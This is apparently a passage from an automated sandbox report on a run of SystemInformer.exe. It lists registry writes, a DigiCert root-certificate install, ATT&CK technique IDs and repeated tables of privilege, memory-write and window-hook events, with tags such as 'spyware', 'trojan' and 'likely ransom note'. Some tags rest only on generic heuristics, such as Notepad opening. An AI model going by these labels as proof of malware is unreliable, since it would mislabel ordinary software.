Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE

Modifies system certificate store 2 TTPs 5 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4	SystemInformer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 0f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e42000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	SystemInformer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e7549030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e19962000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	SystemInformer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 190000000100000010000000ffac207997bb2cfe865570179ee037b90f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e404000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	SystemInformer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c00000001000000040000000010000004000000010000001000000078f2fcaa601f2fb4ebc937ba532e7549030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	SystemInformer.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\systeminformer-4.0.26241.138-bin.zip:Zone.Identifier	firefox.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
852	NOTEPAD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3400	Explorer.EXE
3400	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2092	powershell.exe
2092	powershell.exe
4148	powershell.exe
4148	powershell.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
4148	powershell.exe
4148	powershell.exe
1176	powershell.exe
1176	powershell.exe
1176	powershell.exe
1176	powershell.exe
1176	powershell.exe
1176	powershell.exe
1176	powershell.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe
1924	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
3400	Explorer.EXE
4572	SystemInformer.exe
2440	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeIncreaseQuotaPrivilege	4148	powershell.exe
Token: SeSecurityPrivilege	4148	powershell.exe
Token: SeTakeOwnershipPrivilege	4148	powershell.exe
Token: SeLoadDriverPrivilege	4148	powershell.exe
Token: SeSystemProfilePrivilege	4148	powershell.exe
Token: SeSystemtimePrivilege	4148	powershell.exe
Token: SeProfSingleProcessPrivilege	4148	powershell.exe
Token: SeIncBasePriorityPrivilege	4148	powershell.exe
Token: SeCreatePagefilePrivilege	4148	powershell.exe
Token: SeBackupPrivilege	4148	powershell.exe
Token: SeRestorePrivilege	4148	powershell.exe
Token: SeShutdownPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeSystemEnvironmentPrivilege	4148	powershell.exe
Token: SeRemoteShutdownPrivilege	4148	powershell.exe
Token: SeUndockPrivilege	4148	powershell.exe
Token: SeManageVolumePrivilege	4148	powershell.exe
Token: 33	4148	powershell.exe
Token: 34	4148	powershell.exe
Token: 35	4148	powershell.exe
Token: 36	4148	powershell.exe
Token: SeIncreaseQuotaPrivilege	4148	powershell.exe
Token: SeSecurityPrivilege	4148	powershell.exe
Token: SeTakeOwnershipPrivilege	4148	powershell.exe
Token: SeLoadDriverPrivilege	4148	powershell.exe
Token: SeSystemProfilePrivilege	4148	powershell.exe
Token: SeSystemtimePrivilege	4148	powershell.exe
Token: SeProfSingleProcessPrivilege	4148	powershell.exe
Token: SeIncBasePriorityPrivilege	4148	powershell.exe
Token: SeCreatePagefilePrivilege	4148	powershell.exe
Token: SeBackupPrivilege	4148	powershell.exe
Token: SeRestorePrivilege	4148	powershell.exe
Token: SeShutdownPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeSystemEnvironmentPrivilege	4148	powershell.exe
Token: SeRemoteShutdownPrivilege	4148	powershell.exe
Token: SeUndockPrivilege	4148	powershell.exe
Token: SeManageVolumePrivilege	4148	powershell.exe
Token: 33	4148	powershell.exe
Token: 34	4148	powershell.exe
Token: 35	4148	powershell.exe
Token: 36	4148	powershell.exe
Token: SeDebugPrivilege	428	taskmgr.exe
Token: SeSystemProfilePrivilege	428	taskmgr.exe
Token: SeCreateGlobalPrivilege	428	taskmgr.exe
Token: 33	428	taskmgr.exe
Token: SeIncBasePriorityPrivilege	428	taskmgr.exe
Token: SeDebugPrivilege	480	firefox.exe
Token: SeDebugPrivilege	480	firefox.exe
Token: SeIncreaseQuotaPrivilege	4148	powershell.exe
Token: SeSecurityPrivilege	4148	powershell.exe
Token: SeTakeOwnershipPrivilege	4148	powershell.exe
Token: SeLoadDriverPrivilege	4148	powershell.exe
Token: SeSystemProfilePrivilege	4148	powershell.exe
Token: SeSystemtimePrivilege	4148	powershell.exe
Token: SeProfSingleProcessPrivilege	4148	powershell.exe
Token: SeIncBasePriorityPrivilege	4148	powershell.exe
Token: SeCreatePagefilePrivilege	4148	powershell.exe
Token: SeBackupPrivilege	4148	powershell.exe
Token: SeRestorePrivilege	4148	powershell.exe
Token: SeShutdownPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
480	firefox.exe
480	firefox.exe
480	firefox.exe
480	firefox.exe
480	firefox.exe
480	firefox.exe
480	firefox.exe
480	firefox.exe
480	firefox.exe
480	firefox.exe
3400	Explorer.EXE
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
3400	Explorer.EXE
3400	Explorer.EXE

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
428	taskmgr.exe
480	firefox.exe
480	firefox.exe
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
480	firefox.exe
480	firefox.exe
480	firefox.exe
480	firefox.exe
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE
3400	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1280 wrote to memory of 2092	1280	cmd.exe	84
PID 1280 wrote to memory of 4148	1280	cmd.exe	85
PID 4148 wrote to memory of 1596	4148	powershell.exe	86
PID 1596 wrote to memory of 3408	1596	csc.exe	87
PID 3108 wrote to memory of 480	3108	firefox.exe	101
PID 3108 wrote to memory of 480	3108	firefox.exe	101
PID 480 wrote to memory of 4428	480	firefox.exe	102
PID 480 wrote to memory of 4428	480	firefox.exe	102
PID 480 wrote to memory of 4428	480	firefox.exe	102
PID 480 wrote to memory of 1180	480	firefox.exe	103
PID 480 wrote to memory of 1180	480	firefox.exe	103
PID 480 wrote to memory of 1180	480	firefox.exe	103
PID 480 wrote to memory of 1180	480	firefox.exe	103
PID 480 wrote to memory of 3480	480	firefox.exe	104
PID 480 wrote to memory of 3480	480	firefox.exe	104
PID 480 wrote to memory of 3480	480	firefox.exe	104
PID 480 wrote to memory of 3480	480	firefox.exe	104
PID 480 wrote to memory of 4536	480	firefox.exe	105
PID 480 wrote to memory of 4536	480	firefox.exe	105
PID 480 wrote to memory of 4536	480	firefox.exe	105
PID 480 wrote to memory of 4576	480	firefox.exe	106
PID 480 wrote to memory of 4576	480	firefox.exe	106
PID 480 wrote to memory of 4576	480	firefox.exe	106
PID 480 wrote to memory of 4576	480	firefox.exe	106
PID 480 wrote to memory of 5688	480	firefox.exe	107
PID 480 wrote to memory of 5688	480	firefox.exe	107
PID 480 wrote to memory of 5688	480	firefox.exe	107
PID 480 wrote to memory of 5688	480	firefox.exe	107
PID 480 wrote to memory of 5716	480	firefox.exe	108
PID 480 wrote to memory of 5716	480	firefox.exe	108
PID 480 wrote to memory of 5716	480	firefox.exe	108
PID 480 wrote to memory of 5716	480	firefox.exe	108
PID 480 wrote to memory of 5724	480	firefox.exe	109
PID 480 wrote to memory of 5724	480	firefox.exe	109
PID 480 wrote to memory of 5724	480	firefox.exe	109
PID 480 wrote to memory of 5724	480	firefox.exe	109
PID 480 wrote to memory of 5764	480	firefox.exe	110
PID 480 wrote to memory of 5764	480	firefox.exe	110
PID 480 wrote to memory of 5764	480	firefox.exe	110
PID 480 wrote to memory of 5764	480	firefox.exe	110
